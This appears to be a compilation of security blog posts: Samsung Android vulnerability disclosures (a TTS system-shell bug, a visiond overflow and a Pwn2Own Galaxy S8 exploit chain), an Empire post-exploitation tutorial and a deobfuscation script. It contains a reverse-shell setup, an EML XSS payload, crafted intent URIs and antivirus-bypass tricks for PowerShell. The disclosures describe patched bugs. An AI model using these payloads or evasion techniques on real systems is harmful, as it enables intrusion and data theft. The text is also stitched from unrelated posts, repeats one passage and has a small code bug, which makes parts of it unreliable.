曾经的程序员(我更愿意称为计算机工程师和科学家)是极客,是创作者,是艺术家。开源社区的蓬勃发展是他们灵感的碰撞,才华的闪光,成千上万人智慧的结晶。但很不幸的是,创作的果实被贪婪地资本所攫取,they are taker not giver,开源驱动的基础架构技术发展和完善让手艺人异化成了流水工。精妙的计算科学变成了CRUD的堆需求,严谨的数学计算被7*24人肉盯盘取代,每一个电脑配一个人,看是电脑还是人先crash。先贤图灵和冯诺依曼们若泉下有知,是否会预料到今天的局面?
愿每个人都能有时间看看天空,再次引述下天才黑客GeoHot的一句话:I want power, not power over people, but power over nature and the destiny of technology. I just want to know how the things work.
愿我们仍能记住这段话:
Computer science is the study of algorithmic processes, computational machines and computation itself. As a discipline, computer science spans a range of topics from theoretical studies of algorithms, computation and information to the practical issues of implementing computational systems in hardware and software.
Text-To-Speech engine is a default enabled module in all Android phones, and exists up to Android 1.5 HTC era, even acting as a selling point at that time. But various vendor implementations may lead to various interesting stuff, i.e. CVE-2019-16253, a seemly harmless language pack, or nearly any seemly benign application, without requring any permission, can obtain a persistent SYSTEM shell through the TTS bug (or feature?).
Vulnerability Briefing
TL;DR: Samsung TTS component (a.k.a SMT) is a privileged process running in system uid, responsible for managing the whole TTS functionality. It has a privilege escalation vulnerability (or feature?), which can be exploited by malicious applications to gain system-app privilege without requiring any permission or user interaction.
SMT application declares a exported receiver in com.samsung.SMT.mgr.LangPackMgr$2, registered by SamsungTTSService->onCreate => LangPackMgr->init which accepts Intent with action com.samsung.SMT.ACTION_INSTALL_FINISHED. The receiver blindly trusts incoming data supplied by SMT_ENGINE_PATH, and after some processing, LangPackMgr.updateEngine creates a thread which calls com.samsung.SMT.engine.SmtTTS->reloadEngine which lead to a System->load, leading to arbitrary code execution in SMT itself. It at first glance seems unbelievable but it does actually exist, a typical local privilege escalation vulnerability.
What’s worth mentioning is that this vulnerability does not require manually starting the attacking application. With carefully crafted arguments, installing the seemly benign POC apk will trigger this vulnerability. Besides, as SMT will restart every registered library at boot time, attacker can silently obtain a persistent shell without user notice.
Imagine a malicious actor uploads a seemly normal application containing the exploitation code to each Android Application market. As the exploit does not require the application asking for any privilege, it’s very likely to evade the screening process of various markets. As long as users download and install it, a persistent system shell is given out to attacker. Attacker can use this privilege to sniff on SMS, call logs/recordings, contacts, photos, or even use it as a stepstone for further attacking other privileged components, like other system services and the kernel.
Vulnerability analysis
The corresponding vulnerable code is listed below, some omitted and renamed for better visibility:
SmtTTS.reloadEngine finally reaches System.load, with the path supplied in Intent.
To successfully reach this code path, some conditions should be met for the attacking Intent sent out, which is listed as follows:
SMT_ENGINE_VERSION in Intent should be larger than the embeded version (361811291)
mTriggerCount should be first increased. This can be achieved by supplying a package name begins with com.samsung.SMT.lang. As mentioned above, com.samsung.SMT.SamsungTTSService registers two receivers, one of which will scan for this package prefix and increase the mTriggerCount for us.
One problem still exists though. As I stated above, triggering this vulnerability does not require starting the attacking app. How is this fulfilled?
It turns out SMT does this job for us. The code piece in SMT that calls our attacking service without user interaction is as follows:
SMT has some requirements for the loaded library (it should look like an language pack… implements some interfaces), which can be resolved by reversing the default library.
So the whole attack flows as below:
Step to reproduce with the provided POC
A demo video shows the POC of getting system shell.
If you want to change the remote IP and port for the reverse shell, please modify solib/jni/libmstring/mstring.c
ip = "172.16.x.x";
To your own service addr. You will need to rebuild the project (run ndk-build in solib directory, copy the arm64-v8a/libmstring.so to the APK project (src/main/jniLibs/arm64-v8a/) and rebuild the APK.
Also, monitoring the logcat reveals the following output:
➜ ~ adb logcat | grep -i SamsungTTS
21:27:09.851 16662 16662 I SamsungTTS: Init CHelper
21:27:09.908 16662 16662 I SamsungTTS: Success to load EMBEDDED engine.
21:27:09.980 16662 16662 I SamsungTTS: Empty install voice data : STUB_IDLE
21:27:10.001 16662 16684 I SamsungTTS: Request check version [82]
21:27:10.044 16662 16684 E SamsungTTS: Invalid response. request=82 receive=0
21:27:17.155 16662 16885 I SamsungTTS: Success to reload INSTALLED engine.
21:27:17.155 16662 16885 I SamsungTTS: Restart engine...
Which shows the malicious engine is loaded, and output from the malicious engine library printing it’s uid
➜ ~ adb logcat | grep -i mercury
16:29:48.816 24289 24317 E mercury-native: somehow I'm in the library yah, my uid is 1000
16:29:48.885 24318 24318 E mercury-native: weasel begin connect
Which shows our library is running in the SMT context and as system uid.
The full POC will be available shortly at https://github.com/flankerhqd/vendor-android-cves
Conclusion
Vendor has already published fix through Galaxy Appstore and others. Updated Samsung Text-To-Speech application to following versions in corresponding markets, and examine any previously installed application with package name starts with com.samsung.SMT.lang
For all Samsung devices:
Android N,O or older systems, please update SMT to 3.0.00.101 or higher
Android P, please update SMT to 3.0.02.7 or higher
Vendor binder services proved to be an interesting part of android devices nature. They usually remains close-source, but sometimes open new attack surface for privilege escalation. In these articles I will first describe how to locate interesting binder service and a reversing quirk, then two typical CVEs will be discussed about their nature and exploitation, and how to find them.
Locating interesting binder services
Before Android N, all binder services were registered to servicemanager, and communicated with each other under /dev/binder. After Android N, binder domains are splitted to normal domain under /dev/binder, vendor domain under /dev/vndbinder, and hardware domain under /dev/hwbinder. Normal untrusted_app access is restricted to /dev/binder.
There’re possibly more than 200 binder services on some vendor devices, and most of them are Java services. Java code may introduce common android logic problems, which we will not cover in this blog post. Currently we are only interested in memory corruption bugs lies in native code.
So first question arises: how do we deduce which services may have interesting native code? Where are these services running?J previously released a tool named bindump, by reading binder data in debugfs, the tool can iterate which process owns a process and which processes are using this service. However days have passed and android has involved pretty much, major problems including
debugfs is no longer readable by normal process so you will need root to run
Binder node now have context so you have to distinguish between different domain context
Libbinder.so linking symbols changes in every version so one may not be able to reuse the binary and need to recompile the source on top of corresponding AOSP source branch
To solve problem 2 and 3, I rewrite the tool in Java and encapsulated it into a standalone jar, its source and binary can be found here.
With the tool to find hosting process for binder service, we move to look binder services in native processes.
CVE-2018-9143: buffer overflow in visiond service
There’s an arbitrary length/value overflow in the platform’s visiond daemon, which runs under system uid. visiond exposes a service named media.air, multiple dynamic libraries are used by this service, including visiond, libairserviceproxy, libairservice, libair. libairserviceproxy is the library with server-side method implementations, namely BnAIRClient::onTransact, BnEngine::onTransact, BnAIRService::onTransact.
Missing vtable entries?
An interesting fact worth noticing when reversing these libraries is that, in IDA at the address where we should find vtables, except top-offset and virtual-base offset, all other virtual method pointer items are all zero. However at runtime, the corresponding memory locations become normal. This does not appear on Nexus or Pixel image libraries when opened with IDA.
At first glance it may seem like a binary protection for anti-reversing. However after some digging in we found it’s acutally a new Android linker feature that was not supported by IDA. To understand this symposym, one should first be clear that the vtable function addresses does not naturally resides in .data.rel.ro. Their offsets are actually stored in relocation entries at .rela.dyn with type R_AARCH64_RELATIVE or others. IDA and other disassembler tools do the job of linker, read, calculate and store the value into their respective locations. If IDA failed to parse the relocation entries, the target addresses will be left untouched, as seen in the screenshot.
So what’s the offending linker feature? Quoting from chromium docs:
Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.
This feature encodes binary data in SLEB128 format in order to save space for large binaries. The detailed implementation, including encoding and decoding algorithm can be found here( http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h). At runtime, the linker decodes this segment, rearranging other segment addresses and extracts normal relocation entries. Then everything goes back to normal. IDA at that time does not supported this encoding so all relocation infos are lost in IDA. One can use the relocation_packer tool itself to recover the addresses.
Update: Two years after Android introduced this feature IDA 7.3 has finally supported APS2 relocation, which can be seen in the following screenshot.
+ ELF: added support for packed android relocations (APS2 format)
AirService copies in the air
BnAirServiceProxy provides two methods for managing AirClient passed from client process. One accepts a StrongBinder (AirClient) and an int option, returns a binder handle (pointing to BnAIR) for client process to invoke.If the int option is 0, it will create a FileSource thread. If the option is 1, it will create a CameraSourceThread(only this can trigger this vulnerability)
BnAIR::transact (in libair.so) has many functions, the functions relating to this exp is android::AIRService::Client::configure, start and enqueueFrame. We must call these functions in order of configure->start->enqueueFrame to do a property setup.The specific vulnerable function is enqueueFrame. enqueueFrame receives an int and IMemory, and the IMemory content is copied out to a previously allocated fixed IMemory in Frame object.
We use first transact with code=3 from untrusted_app to /system/bin/visond service, to trigger android::AIRService::Client::configure(int)
in libairservice.so. This transact is needed to init some parameters
The second transact with code=4, which starts an AIRService Client, android::AIRService::Client::start()
start the Client to accept the final transaction
The final transact, with code=7, actually passes an IMemory with attacker controlled length/content,
to trigger android::AIRService::Client::enqueueFrame(int, android::spandroid::IMemory const&).
The mmaped area in Frame itself is usually 2M, so any passed in Imemory with size > 2M will trigger overflow.
fpsr 00000000 fpcr 00000000
backtrace:
#00 pc 000000000001b014 /system/lib64/libc.so (memcpy+332)
#01 pc 0000000000029b5c /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
#02 pc 0000000000030c8c /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
#03 pc 000000000000fbf8 /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
#04 pc 000000000004a340 /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
#05 pc 00000000000564f0 /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
#06 pc 000000000005602c /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
#07 pc 0000000000056744 /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
#08 pc 0000000000074b70 /system/lib64/libbinder.so
#09 pc 00000000000127f0 /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
#10 pc 00000000000770f4 /system/lib64/libc.so (_ZL15__pthread_startPv+204)
#11 pc 000000000001e7d0 /system/lib64/libc.so (__start_thread+16)
Exploitation?
This may be similar to Project Zero’s bitunmap bug, since overflow occurs in mmaped area. When android::AIRService::Client::configure is called, a new thread is created in libairservice.so. By allocating Frame, and removing Frame we can create a hole in highmem area. Allocate Frame again, trigger overflow and we can override the thread mmaped area to get PC control.
However, SElinux still enforces strict limitation (no execmem, no executable file loading, cannot lookup PackageManagerService in servicemanager), on visiond, although it’s a system-uid process. How can we utilize this elevated privilege to do things malicious like installing arbitrary app, if we even cannot access PackageManagerService?
Note that although SELinux prohibits visiond from looking up the PMS service, neither it nor the PMS itself has additional restrictions or checks when PMS’s transactions are actually invoked, if we have the service handle. So we may use the following steps to bypass this restriction:
Attacking app (untrusted_app context) obtains StrongBinder handle of PMS
Attacking app passes the handle to visiond. Any transaction method accepting and storing StrongBinder will work.
Attacking app triggers the vulnerability, gains code execution. Payload searches the specific memory location in step 2 to find the handle
Payload calls PMS’s installPackage method with the handle
Conclusion
So this’s CVE-2018-9143. Samsung has already posted advisory and pushed out FIX via firmware OTA. In next article I will describe CVE-2018-9139, a heap overflow in sensorhubservice, and how we examined and fuzzed the target to find this vulnerability, with a PC-controlled POC.
Bonus: POC for this CVE and vulnerable binary has been posted at https://github.com/flankerhqd/binder-cves for your reference.
Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.
Hello everyone, long time no see! Now begins a series of blog posts about bugs I found before and now on Android vendors, including memory corruption and logical bugs, reported and fixed via Pwn2Own or official bug channel.
This very first post is about the chain of bugs we used in the end of 2017 to get remote arbitrary application install via clicking malicious link on newest Galaxy S8 at that time, prepared for Mobile Pwn2Own, with a V8 bug to get initial code execution in sandbox and 5 logical bugs to finally get arbitrary application install, with demo video. All bugs were reported and assigned CVE-2018-10496, CVE-2018-10497, CVE-2018-10498, CVE-2018-10499, CVE-2018-10500, CVE-2018-9140. The detail of the V8 bug will be covered in another post.
Bug 0: Pwning and Examining the browser’s renderer process
Using the first V8 bug (CVE-2018-10496, credit to Gengming Liu and Zhen Feng of KeenLab), we have get initial code execution in the Samsung Internet Browser isolated process. Isolated process is heavily restricted in android, both in SElinux context and traditional DAC permission.
Doing a quick check on the SELinux profile reveals Samsung doing a good job. No additional service attack surface revealed. The sandbox process is still limited to access very few services and IPCs, e.g. starting activity is prohibited.
For those who are interested in the Chrome browser sandbox architecture, you can refer to my CanSecWest presentation. Given Samsung did not open loophole for us to directly exploit from isolated context, we fall back to the good old ways to attack the browser IPC.
The Samsung Internet Browser has a quite different UI than Chrome but its core is still largely based on Chrome, so as the sandbox architecture. Looking over the past always gives us insight over future, which is quite true for ….
Bug 1: The Tokyo treasure: incomplete fix for CVE-2016-5197
Old readers will remember the good old Chrome IPC bug we used to pwn Pixel, as described here. Looking back into the fix…:
public class ContentViewClient {
public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
//...
@@ -144,6 +148,14 @@
// Perform generic parsing of the URI to turn it into an Intent.
try {
intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+ String scheme = intent.getScheme();
+ if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+ && !scheme.equals(MAILTO_SCHEME)) {
+ Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+ return;
+ }
+
//...
try {
context.startActivity(intent);
} catch (ActivityNotFoundException ex) {
Log.w(TAG, "No application can handle %s", intentUrl);
}
}
Google tries to fix the vulnerability by adding scheme check, restricting the string IPC accepts so that we cannot use this IPC to start arbitrary explicit activity anymore.
However, a crucial part is missing: intent resolution does not depend solely on scheme part. As long as the incoming argument contains component keyword, which will be parsed first, we can still use this IPC to send an explicit intent – starting arbitrary exported activity. So trivially adding "scheme=geo" will bypass this fix. Samsung Internet Browser shares the same source so it’s also affected.
Of course due to the limitation of parseUri, we can only craft an Intent with string arguments (no fancy parcelable possible). Now we need to find a privileged application with activity exported and accepts and happily opens malicious URL or execute malicious Javascript in it’s webview.[1] As long as we pwned the webview, we pwned the application.
This bug is also tracked by Google under b/804969. Since in an unrelated refactor Chrome removed this IPC completely, this issue does not affect newest Chrome but still affect all downstream browsers which shares this code. Samsung does not assign a particular CVE for this issue but assigned the whole chain CVE-2018-9140/SVE-2017-10747.
Bug 2: The Email loves EML with a … XSS
Searching through the privileged applications we find Samsung Email.
The exported com.samsung.android.email.ui.messageview.MessageFileView activity accepts eml file. What’s an eml file? EML is a dump format of email and seems Samsung Email is kindly enough to provide rich-text support for EML files – by rendering it in a Webview.
Of course it immediately pops up questions for a security researcher, XSS, script injection, etc. In our case, it means code execution. In CVE-2015-7893 Natalie had pointed out a similar issue so checks were added, but far from enough. It still does not have sufficient input validation in the EML file except simple filtering for <script>. We can just inject document.onload=blablaba, and construct script element on the fly, to bypass the fix, and get arbitrary script execution.
This issue is assigned CVE-2018-10497.
Bug 3: … And file:/// crossdomain
Although we have had an exploit theory in step 2, bundling lots of javascript exploit in the EML file itself creates trouble in heap fengshui and ruins our success rate. Luckily the webview configuration in Email allows us to access file:/// from file domain (i.e. setAllowFileAccessFromFileUrls), which enables us to shift the exploit to a single js file and minimizing the EML file, largely improving stability. Bonus point: this vulnerability combined with Bug 2 alone already allows us to read Email’s private file.
This issue is assigned CVE-2018-10498.
So now the EML file becomes like:
MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79
--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1
<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--<br>Bill Jncjkqfuck<br>
</body>
--bcaec54eecc63acce604a3050f77--
By exploiting our V8 js bug bundled in the malicious EML again, we can get code execution in Email application, officially jumping out of sandbox. What is nice for us is that the Email application holds lots of precious application like capable of accessing photos, contacts, etc, which already meets Pwn2Own standard.
Given this attack surface, our sandbox-escaping exploit chain now contains the following steps:
Force the browser to download the EML file with exploit code bundled. The download path is predictable like /sdcard/Download/test.eml and /sdcard/Download/exp.js
In the compromised renderer process, craft an IPC with content intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end , calling up and exploiting the email application.
We now owns the Email process privilege
Bug 4: Go beyond the Galaxy (Apps) … but blocked?
To achieve the ultimate goal of installing arbitrary application, our next step is trying to pwn a process with INSTALL_PACKAGES privilege. An obvious target is the Galaxy Apps, which is the app store for Samsung phones.
Digging into the APK file we find a promising Activity named com.samsung.android.sdk.ppmt.PpmtPopupActivity, which directly accepts and opens URL in it’s webview from intent. However this obvious target is of course protected.
…protected from other process but not protected from inside.
This issue is assigned CVE-2018-10500.
Bug 5: Push SDK pushes vulnerability
On auditing the Samsung platform apps, the same component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceiver and com.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver appears many times. Turns out it’s an SDK responsible for campaign message pushing and processing. In PpmtReceiver ‘s source code, we find the following interesting snippets:
//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path
private void a(Context arg5, Intent arg6, String arg7) {
if("card_click".equals(arg7)) {
CardActionLauncher.onCardClick(arg5, arg6);
return;
}
//in onCardClick, it reaches CardActionLauncher,
private static boolean a(Context arg2, String arg3, CardAction arg4) {
boolean v0;
if("app".equals(arg4.mType)) {
v0 = CardActionLauncher.b(arg2, arg3, arg4);
}
//If the CardAction.mType is "intent", we finally reaches the following snippet:
private static boolean d(Context arg5, String arg6, CardAction arg7) {
boolean v0 = false;
if(TextUtils.isEmpty(arg7.mPackageName)) {
Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
return v0;
}
Intent v1 = new Intent();
v1.setPackage(arg7.mPackageName);
if(!TextUtils.isEmpty(arg7.mData)) {
v1.setData(Uri.parse(arg7.mData));
v1.setAction("android.intent.action.VIEW");
}
if(!TextUtils.isEmpty(arg7.mAction)) {
v1.setAction(arg7.mAction);
}
if(!TextUtils.isEmpty(arg7.mClassName)) {
v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
}
if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
v1.putExtras(arg7.mExtra);
}
CardActionLauncher.a(v1, arg6);
try {
switch(arg7.mComponent) {
case 1: {
int v2 = 268435456;
try {
v1.setFlags(v2);
arg5.startActivity(v1);
goto label_78;
//....
We can see it’s possible to start an activity with arbitrary arguments/components fully controlled by us, and Galaxy Apps is one of the users of Ppmt push sdk, exposing the PpmtReceiver. We use this vulnerability to indirectly start PpmtPopupActivity, PpmtPopupActivity will happily load any URL we passed in. Reusing the JS exploit, we again get a shell in Samsung Appstore, which has INSTALL_PACKAGE permission, allowing us to install any rogue application. An interesting point is that the activity does not have any explicit UI pointing to it so I guess it’s some common SDK that forgot to be removed.
This issue is assigned CVE-2018-10499.
Chaining it altogether
Combining it all together we have the following figure:
So this is how we pwned the Galaxy S8. Demo video has been posted at https://www.youtube.com/watch?v=UXLWk2Ya_6Q&feature=youtu.be at that time. All issues have been fixed by vendor.
Due to the nature of this bug chain, we named it "Galaxy Leapfrogging" as each step of the chain is to find a new app to jump & pwn to gain additional privilege. All vulnerabilities have been tested on the newest Galaxy S8 at that time, samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.
We would like to thank Samsung Mobile Security for their work on fixing these vulnerabilities, and I’d like to thank all former colleagues at KeenLab for our work together and the good old days.
Next
Following posts will be about other various security bugs I found on those Android vendors, stay tuned! My twitter: https://twitter.com/flanker_hqd
Note: Current status of isolated Webview
[1] Beginning with Android O, all apps by default runs their system webview in isolated context, which greatly stops "Leapfrogging". However, some apps are still running their own webview core like X5 and tbs in the same context, which still poses great risks and remains an attack surface
Testing Empire as post-exploitation framework in domain environment
Due to recent research on Red-Blue Team Operations, I became interested in various post-exploitation framework. Since the widely adoption of powershell which is shipped by default in Windows 7 and Windows 10, it has become a popular stager for pen-testers and red team. The following article will describe one of the popular framework called Empire (https://github.com/EmpireProject/Empire) with 3000+ stars, and how to use it on a typical workstation with AV installed.
Installation
The installation of Empire is quite simple. You can choose the docker approach, or install it on a host instance.
For installation steps on a host instance, follow the commands as below:
In a Debian-flavor environment the installation usually contains apt-update and adding some apt-source. So be patient.
The following steps are all based on Ubuntu 16.04.1. Some windows compilation are done on a Windows Server 2016 with Visual Stuido
Running
Go to the install directory of empire and type sudo ./empire to get started.
Listeners
The currently supported listeners in Empire are
(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector
http http_foreign http_mapi onedrive
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?
Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.16.3.77:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
To maintain stealth against various network traffic monitoring, it is recommended to use http based listeners as it will only appear as normal http traffic.
The required options for http-base listeners are Host, Name and Port
(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!
For example, a http listener’s traffic may looks like below:
(Empire) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0
Stagers
After we created a listener, we need something to wrap the connection, named stager. Empire provides different stagers for different platform.
The simplest stager is a direct powershell command on Windows:
Which is the core of all other payloads. You can directly paste it in a command prompt to test it out if you’re curious. On other platforms, similar logic is implemented with Python.
Empire currently supports stagers listed above. You can test different windows stagers. When you choose a stager, use options to fill in the required attribute. Example goes below:
(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options
Name: pyInstaller Launcher
Description:
Generates an ELF binary payload launcher for
Empire using pyInstaller.
Options:
Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.
(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute
Sample payload analysis
Let’s now have a brief view on the launcher metasploit script Empire generates.
The first IF script block is a trick to disable powershell logging to bypass Windows Defenders analysis, which is quite popular abroad. I will not elaborate on this here and you can refer to citation documents. Windows defender employs a per-statement detection approach, while some domestic AVs will step further to block powershell directly if certain keywords are found.
The followed block is the functional block. First, the script tries to establish a HTTP connection to control server. An IV is retrieved from response data (first four bytes). A hardcoded key will later be used to decrypt the function body.
Notice the block defines a variable $R which kinda like lambda function. At the last line, $data and $IV+$K is passed into the lambda acting as $D, $K . The decryption result char array is joined and passed to IEX , i.e. Invoke-Expression
Sample Modules
Empire comes with quite some useful modules, in which bounded mimikatz module can be used to extract password and hash tokens, and privilege escalation modules can be used to elevate privilege to local admin or even domain admin.
AV bypass
Qihoo 360
When you directly paste the payload into cmd, it easily get blocked by Qihxx, indicating "powershell.exe is trying to execute". Besides process monitoring, I believe 360 also use script keyword detection to reduce false positives. However, as powershell is a very flexible language, it’s not easy to filter all malicious requests.
By binary search we deduced the keywords are
-enc command line in powershell arguments. E.g, powershell -enc aaa will be blocked by 360.
downloadData in powershell script will be detected and blocked by 360.
A statement is not permitted to have two or more plus signs. E.g. $a+$b;$b+$c will be blocked by 360.
All these methods have some ways to bypass.
For the first condition requirement, you can just simple drop the enc command argument
For the second requirement, note that we can use string as method node in powershell. I.e. $c="downl"+"oadData";$a.$c.invoke($bla)
For the third requirement, we can simply use $a-(-$b);$b-(-$c)
for clz in codeunit.getClasses():
if isObfuscated(clz):
name = determineNameFromHierchy(clz) --->1
rename(clz, name)
for field in codeUnit.getFields():
if isObfuscated(field):
name = determineNameByFieldType(field)
rename(field, name)
for mtd in codeUnit.getMethods():
if isObfuscated(mtd):
name = determineNameByArgsType(field)
rename(field, name)
例如, class IiIiIiIi是继承于class iIiIiIiI, 而iIiIiIiI又继承于Activity/实现了onClickListener, 那么我们就可以使用Activity/onClickListener作为基准重命名两个被混淆的类. 这里的关键在于一个递归获取基类的函数, 如下所示:
'''
clzElement is ICodeClass retrieved from ICodeUnit.getClass()
'''
def tryDetermineGodeName(self, clzElement):
javaunit = self.decomp.decompile(clzElement.getAddress())
clzElement = javaunit.getClassElement()
#now clzElement is a IJavaClass
if not isFuckingName(clzElement.getName()):
#this is a non-obfuscated name, just return it
return clzElement.getName()
ssupers = clzElement.getImplementedInterfaces()
supers = []
supers.extend(ssupers)
# do not directly append on returned list!
superSig = clzElement.getSupertype().getSignature()
supers.append(clzElement.getSupertype())
for superItem in supers:
sig = superItem.getSignature()
if sig == "Ljava/lang/Object;":
#extend from java/lang/Object gives us zero info
#so try next
continue
if not isFuckingName(sig):
#return first non-obfuscated name
return sig
resolvedType = self.targetUnit.getClass(sig)
if resolvedType:
#this is a concret class
guessedName = self.tryDetermineGoodName(resolvedType)
if guessedName:
return guessedName
else:
#this is a SDK class
return sig
#cannot determine name from its supers, return None
return None